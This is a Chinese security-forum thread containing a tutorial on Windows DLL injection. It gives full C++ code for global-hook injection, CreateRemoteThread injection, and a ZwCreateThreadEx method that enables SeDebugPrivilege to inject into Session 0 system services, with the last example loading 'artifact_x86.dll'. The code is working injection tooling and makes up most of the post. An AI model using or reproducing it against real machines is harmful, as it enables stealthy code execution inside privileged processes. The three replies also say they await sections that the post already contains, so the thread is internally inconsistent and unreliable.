查看: 99|回复: 3

Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio

[复制链接]
发表于 1 小时前 | 显示全部楼层 |阅读模式
Windows平台下的DLL注入是系统安全研究和底层开发中的常见技术,涉及在目标进程中加载自定义DLL以执行特定代码。本文基于实际注入实践,介绍三种经典注入方法:全局钩子注入、远程线程注入,以及突破Session 0隔离的远线程注入。每种方法均给出Win32 API原理、关键步骤和完整代码示例。

一、全局钩子注入
Windows消息机制中,钩子(Hook)可以截获系统或线程的消息。全局钩子注入利用SetWindowsHookEx将DLL中的钩子函数安装到钩子链中,当系统产生消息时自动加载DLL。

1.1 生成DLL
新建DLL项目,在预编译头中声明导出函数:
  1. // pch.h
  2. extern "C" _declspec(dllexport) int SetHook();
  3. extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
  4. extern "C" _declspec(dllexport) BOOL UnsetHook();
复制代码

在pch.cpp中实现:
  1. #include "pch.h"
  2. #include <Windows.h>
  3. #include <stdio.h>
  4. extern HMODULE g_hDllModule;
  5. #pragma data_seg("mydata")
  6. HHOOK g_hHook = NULL;
  7. #pragma data_seg()
  8. #pragma comment(linker, "/SECTION:mydata,RWS")
  9. LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
  10.     return ::CallNextHookEx(g_hHook, code, wParam, lParam);
  11. }
  12. BOOL SetHook() {
  13.     g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
  14.     if (g_hHook == NULL) return FALSE;
  15.     return TRUE;
  16. }
  17. BOOL UnsetHook() {
  18.     if (g_hHook) ::UnhookWindowsHookEx(g_hHook);
  19.     return TRUE;
  20. }
复制代码

DLL入口文件dllmain.cpp保存模块句柄:
  1. #include "pch.h"
  2. HMODULE g_hDllModule = NULL;
  3. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  4.     switch (ul_reason_for_call) {
  5.     case DLL_PROCESS_ATTACH:
  6.         g_hDllModule = hModule;
  7.         break;
  8.     case DLL_THREAD_ATTACH:
  9.     case DLL_THREAD_DETACH:
  10.     case DLL_PROCESS_DETACH:
  11.         break;
  12.     }
  13.     return TRUE;
  14. }
复制代码

以Release X86配置生成得到DLL文件。

1.2 测试注入
创建控制台项目,加载DLL并调用SetHook:
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. int main() {
  4.     typedef BOOL(*typedef_SetGlobalHook)();
  5.     typedef BOOL(*typedef_UnsetGlobalHook)();
  6.     HMODULE hDll = NULL;
  7.     typedef_SetGlobalHook SetGlobalHook = NULL;
  8.     typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
  9.     BOOL bRet = FALSE;
  10.     do {
  11.         hDll = ::LoadLibraryW(TEXT("C:\\path\\to\\DLLInjection.dll"));
  12.         if (hDll == NULL) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); break; }
  13.         SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
  14.         if (SetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
  15.         bRet = SetGlobalHook();
  16.         if (bRet) printf("SetGlobalHook OK.\n");
  17.         else printf("SetGlobalHook Error.\n");
  18.         system("pause");
  19.         UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
  20.         if (UnsetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
  21.         UnsetGlobalHook();
  22.         printf("UnsetGlobalHook OK.\n");
  23.     } while (FALSE);
  24.     system("pause");
  25.     return 0;
  26. }
复制代码

全局钩子注入的优点是无需目标进程配合,缺点是会影响系统性能,且容易被安全软件检测。

二、远程线程注入
远程线程注入的核心思路是在目标进程中创建线程,线程入口为LoadLibrary,参数为DLL路径,从而将DLL加载到目标进程空间。

2.1 生成DLL
仅需在DllMain中弹出消息框验证:
  1. #include "pch.h"
  2. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  3.     switch (ul_reason_for_call) {
  4.     case DLL_PROCESS_ATTACH:
  5.         MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
  6.         break;
  7.     case DLL_THREAD_ATTACH:
  8.         MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
  9.         break;
  10.     }
  11.     return TRUE;
  12. }
复制代码

2.2 实现注入函数
通过OpenProcess打开目标进程,VirtualAllocEx分配内存,WriteProcessMemory写入DLL路径,然后获取kernel32.dll中LoadLibraryW的地址,最后用CreateRemoteThread创建线程:
  1. #include <Windows.h>
  2. #include <tchar.h>
  3. #include <stdio.h>
  4. DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
  5.     HANDLE hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
  6.     if (hprocess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
  7.     SIZE_T _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
  8.     LPVOID pDllAddr = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
  9.     if (pDllAddr == NULL) { printf("Memory Allocation Error\n"); return FALSE; }
  10.     BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
  11.     if (!isWriteSuccess) { printf("Write Process Memory Error\n"); return FALSE; }
  12.     FARPROC pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
  13.     LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
  14.     HANDLE hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
  15.     if (hThread == NULL) { printf("CreateRemoteThread Error\n"); return FALSE; }
  16.     WaitForSingleObject(hThread, -1);
  17.     ::VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
  18.     ::CloseHandle(hprocess);
  19.     return TRUE;
  20. }
  21. int main() {
  22.     DWORD _PID = 1220; // 替换为目标进程PID
  23.     _RemoteThreadInjection(_PID, L"C:\\path\\to\\DLLInjection.dll");
  24.     return 0;
  25. }
复制代码

注意:Windows ASLR虽使LoadLibrary地址每次启动不同,但同一时刻kernel32.dll在各进程中的基址相同,因此可安全获取。

三、突破Session 0隔离的远线程注入
Session 0隔离机制从Windows Vista开始生效,系统服务运行在Session 0,用户应用运行在其他Session。若目标进程是系统服务,普通CreateRemoteThread会被拒绝。解决办法是使用更底层的ZwCreateThreadEx函数绕过会话检查。

3.1 原理
ZwCreateThreadEx是ntdll.dll中的未文档化函数,相比CreateRemoteThread多了CreateThreadFlags等参数,可指定线程创建时不检查会话。同时,还需启用SeDebugPrivilege权限以访问系统进程。

3.2 实现代码
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. // 定义ZwCreateThreadEx函数指针
  4. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  5.     PHANDLE ThreadHandle,
  6.     ACCESS_MASK DesiredAccess,
  7.     LPVOID ObjectAttributes,
  8.     HANDLE ProcessHandle,
  9.     LPTHREAD_START_ROUTINE lpStartAddress,
  10.     LPVOID lpParameter,
  11.     ULONG CreateThreadFlags,
  12.     SIZE_T ZeroBits,
  13.     SIZE_T StackSize,
  14.     SIZE_T MaximumStackSize,
  15.     LPVOID pUnknown);
  16. BOOL EnableDebugPrivilege() {
  17.     HANDLE hToken;
  18.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
  19.         TOKEN_PRIVILEGES tp;
  20.         tp.PrivilegeCount = 1;
  21.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
  22.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  23.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
  24.         BOOL flag = (GetLastError() == ERROR_SUCCESS);
  25.         CloseHandle(hToken);
  26.         return flag;
  27.     }
  28.     return FALSE;
  29. }
  30. BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
  31.     HANDLE hProcess = NULL;
  32.     SIZE_T dwSize = 0;
  33.     LPVOID pDllAddr = NULL;
  34.     FARPROC LoadLibraryA_Addr = NULL;
  35.     HANDLE hRemoteThread = NULL;
  36.     DWORD dwStatus = 0;
  37.     // 提权
  38.     if (!EnableDebugPrivilege()) {
  39.         printf("SeDebugPrivilege enable failed.\n");
  40.         return FALSE;
  41.     }
  42.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
  43.     if (hProcess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
  44.     dwSize = ::strlen(DLLPath) + 1;
  45.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
  46.     if (pDllAddr == NULL) { printf("VirtualAllocEx Error\n"); return FALSE; }
  47.     if (!::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL)) {
  48.         printf("WriteProcessMemory Error\n");
  49.         return FALSE;
  50.     }
  51.     HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
  52.     if (hNtdDll == NULL) { printf("Load ntdll.dll Error\n"); return FALSE; }
  53.     LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
  54.     if (LoadLibraryA_Addr == NULL) { printf("GetProcAddress Error\n"); return FALSE; }
  55.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
  56.     if (ZwCreateThreadEx == NULL) { printf("ZwCreateThreadEx not found\n"); return FALSE; }
  57.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
  58.         NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
  59.         0, 0, 0, 0, NULL);
  60.     if (hRemoteThread == NULL) { printf("ZwCreateThreadEx failed\n"); return FALSE; }
  61.     ::CloseHandle(hProcess);
  62.     ::FreeLibrary(hNtdDll);
  63.     return TRUE;
  64. }
  65. int main() {
  66.     // 以系统服务PID为例,需管理员权限
  67.     BypassSession0Injection(3788, "C:\\path\\to\\artifact_x86.dll");
  68.     return 0;
  69. }
复制代码

关键点:ZwCreateThreadEx的第7个参数CreateThreadFlags置0可绕过Session检查;必须先提升权限。

四、总结
三种注入方法各有利弊。全局钩子注入简单但影响系统范围;远程线程注入灵活但无法穿透Session 0;突破Session 0的注入利用底层API,适合对系统服务进行DLL加载。实际应用中需根据目标进程性质和权限环境选择合适技术,并注意DLL的32/64位匹配。
回复

使用道具 举报

发表于 1 小时前 | 显示全部楼层

Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio

感谢楼主的详细分享!全局钩子注入的代码示例很清晰,从DLL导出函数到测试控制台都讲得很扎实,特别是#pragma data_seg()的使用体现了跨进程共享数据的细节。期待你继续写完远程线程和Session 0隔离的部分,这两种方法在实际开发中也很常见,尤其是突破Session 0隔离对服务程序的注入很有参考价值。辛苦楼主!
回复 支持 反对

使用道具 举报

发表于 1 小时前 | 显示全部楼层

Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio

感谢楼主的详细分享,全局钩子注入的代码示例非常清晰,从DLL编写到测试注入的流程都很完整。特别是对“影响系统性能”和“易被安全软件检测”这两点缺点的说明很实在,能让读者更全面地理解这种方法的适用场景。 期待后续远程线程注入和Session 0隔离的内容——这两种在实际对抗或渗透测试中也很常见,想知道楼主在突破Session 0隔离时具体采用了哪些API技巧。
回复 支持 反对

使用道具 举报

发表于 1 小时前 | 显示全部楼层

Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio

感谢分享,全局钩子注入的讲解很详细,代码示例也很完整,对理解Windows消息钩子和DLL注入的实战很有帮助。期待楼主继续更新远程线程和Session 0隔离的部分。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-23 15:46 , Processed in 0.029192 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部